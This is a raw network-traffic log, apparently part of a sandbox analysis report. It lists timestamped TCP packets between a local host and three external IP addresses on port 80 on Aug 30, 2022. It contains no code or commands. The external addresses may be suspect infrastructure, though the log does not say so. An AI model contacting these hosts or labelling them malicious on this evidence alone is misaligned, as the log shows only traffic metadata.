Aug 30, 2022 15:54:31.980535984 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.980565071 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.980602980 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.980611086 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.980643988 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.980668068 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.980681896 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.980720997 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.980736971 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.980761051 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.980798960 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.980814934 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.980839014 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.980875969 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.980890036 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.980916977 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.980957031 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.980969906 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.980994940 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.981045008 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:32.285885096 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:32.285953999 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:32.286005974 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:32.286009073 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:32.286045074 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:32.286051035 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:32.286053896 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:32.286111116 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:32.286113977 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:32.286155939 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:32.286170959 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:32.286196947 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:32.286206961 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:32.286237001 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:32.286251068 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:32.286273956 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:32.286287069 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:32.286314964 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:32.286324978 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:32.286355019 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:32.286365032 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:32.286412001 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:32.286417961 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:32.286454916 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:32.286480904 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:32.286493063 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:32.286520958 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:32.286549091 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:32.286559105 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:32.286609888 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:32.286640882 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:32.286683083 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:32.286701918 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:32.286720991 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:32.286736965 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:32.286762953 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:32.286777973 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:32.286820889 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:32.286874056 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:32.286928892 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:32.591723919 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:32.591787100 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:32.591826916 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:32.591866016 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:32.591906071 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:32.591927052 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:32.591944933 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:32.591972113 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:32.591979027 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:32.591984987 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:32.592025995 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:32.592066050 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:32.593266010 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:32.593667984 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:32.898231030 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:35.376743078 CEST	49725	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:35.686554909 CEST	80	49725	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:35.686712027 CEST	49725	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:35.686816931 CEST	49725	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:35.686975002 CEST	49725	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:35.998311996 CEST	80	49725	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:36.348674059 CEST	49725	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:36.658447981 CEST	80	49725	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:37.178668022 CEST	80	49725	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:37.178708076 CEST	80	49725	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:37.178852081 CEST	49725	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:37.179076910 CEST	49725	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:37.488703012 CEST	80	49725	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:37.540628910 CEST	49726	80	192.168.2.5	41.41.255.235
Aug 30, 2022 15:54:37.657394886 CEST	80	49726	41.41.255.235	192.168.2.5
Aug 30, 2022 15:54:37.657565117 CEST	49726	80	192.168.2.5	41.41.255.235
Aug 30, 2022 15:54:37.658152103 CEST	49726	80	192.168.2.5	41.41.255.235
Aug 30, 2022 15:54:37.660006046 CEST	49726	80	192.168.2.5	41.41.255.235
Aug 30, 2022 15:54:37.757872105 CEST	80	49726	41.41.255.235	192.168.2.5
Aug 30, 2022 15:54:37.757962942 CEST	49726	80	192.168.2.5	41.41.255.235
Aug 30, 2022 15:54:37.758162975 CEST	49726	80	192.168.2.5	41.41.255.235
Aug 30, 2022 15:54:37.857253075 CEST	80	49726	41.41.255.235	192.168.2.5
Aug 30, 2022 15:54:37.884795904 CEST	49727	80	192.168.2.5	213.158.173.252
Aug 30, 2022 15:54:37.966773033 CEST	80	49727	213.158.173.252	192.168.2.5
Aug 30, 2022 15:54:37.967032909 CEST	49727	80	192.168.2.5	213.158.173.252
Aug 30, 2022 15:54:37.967067957 CEST	49727	80	192.168.2.5	213.158.173.252
Aug 30, 2022 15:54:37.967828035 CEST	49727	80	192.168.2.5	213.158.173.252
Aug 30, 2022 15:54:38.050842047 CEST	80	49727	213.158.173.252	192.168.2.5
Aug 30, 2022 15:54:38.050895929 CEST	80	49727	213.158.173.252	192.168.2.5
Aug 30, 2022 15:54:38.050978899 CEST	49727	80	192.168.2.5	213.158.173.252
Aug 30, 2022 15:54:38.051018953 CEST	49727	80	192.168.2.5	213.158.173.252
Aug 30, 2022 15:54:38.087874889 CEST	80	49727	213.158.173.252	192.168.2.5
Aug 30, 2022 15:54:38.095314980 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:38.395066023 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:38.395188093 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:38.398379087 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:38.398408890 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:38.697990894 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:39.489885092 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:39.489960909 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:39.490031958 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:39.490071058 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:39.490083933 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:39.490151882 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:39.490155935 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:39.490226030 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:39.490298033 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:39.490314960 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:39.490408897 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:39.490470886 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:39.490514040 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:39.490566015 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:39.490628004 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:39.790451050 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:39.790528059 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:39.790580034 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:39.790636063 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:39.790653944 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:39.790689945 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:39.790708065 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:39.790762901 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:39.790821075 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:39.790823936 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:39.790894985 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:39.790935040 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:39.790978909 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:39.790978909 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:39.791027069 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:39.791033030 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:39.791079044 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:39.791116953 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:39.791158915 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:39.791163921 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:39.791208029 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:39.791213989 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:39.791258097 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:39.791299105 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:39.791342020 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:39.791368008 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:39.791414022 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:39.791429043 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:39.791471004 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:39.793534994 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.091650963 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.091736078 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.091814041 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.091818094 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.091881037 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.091933012 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.091976881 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.092014074 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.092056990 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.092067003 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.092119932 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.092170954 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.092216015 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.092222929 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.092283010 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.092331886 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.092335939 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.092391014 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.092411995 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.092480898 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.092557907 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.092612982 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.092663050 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.092719078 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.092742920 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.092814922 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.092881918 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.092961073 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.092962027 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.093015909 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.093036890 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.093105078 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.093188047 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.093274117 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.093298912 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.093364954 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.093369007 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.093435049 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.093529940 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.093601942 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.093604088 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.093663931 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.093681097 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.093744040 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.093874931 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.093943119 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.094029903 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.094085932 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.094099998 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.094177961 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.094253063 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.094305992 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.094332933 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.094419956 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.095875025 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.095956087 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.096031904 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.096105099 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.096113920 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.096287966 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.394066095 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.394114971 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.394154072 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.394192934 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.394232035 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.394243956 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.394270897 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.394301891 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.394314051 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.394323111 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.394354105 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.394395113 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.394434929 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.394454002 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.394474030 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.394495964 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.394515991 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.394556999 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.394596100 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.394612074 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.394638062 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.394649982 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.394675970 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.394715071 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.394754887 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.394768953 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.394793987 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.394815922 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.394843102 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.394884109 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.394925117 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.394944906 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.394967079 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.394988060 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.395005941 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.395045996 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.395087004 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.395126104 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.395165920 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.395172119 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.395200968 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.395205975 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.395246983 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.395262003 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.395288944 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.395301104 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.395328999 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.395396948 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.395436049 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.395464897 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.395476103 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.395492077 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.395515919 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.395555019 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.395593882 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.395612001 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.395634890 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.395646095 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.395677090 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.395714998 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.395754099 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.395764112 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.395793915 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.395833969 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.395833969 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.395873070 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.395914078 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.395936966 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.395972967 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.395988941 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.396106958 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.396517038 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.695849895 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.695878983 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.695902109 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.695923090 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.695944071 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.695965052 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.695986032 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.696021080 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.696089029 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.696599007 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.696660042 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.696716070 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.696795940 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.696979046 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.697005987 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.697045088 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.697055101 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.697072029 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.697207928 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.697297096 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.697351933 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.697398901 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.697498083 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.697501898 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.698106050 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.698280096 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.698333979 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.698347092 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.698384047 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.698527098 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.698791981 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.699080944 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.699145079 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.699171066 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.699198008 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.699225903 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.699232101 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.699249029 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.699276924 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.699284077 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.699305058 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:40.699338913 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:40.699512005 CEST	80	49728	222.232.238.243	192.168.2.5
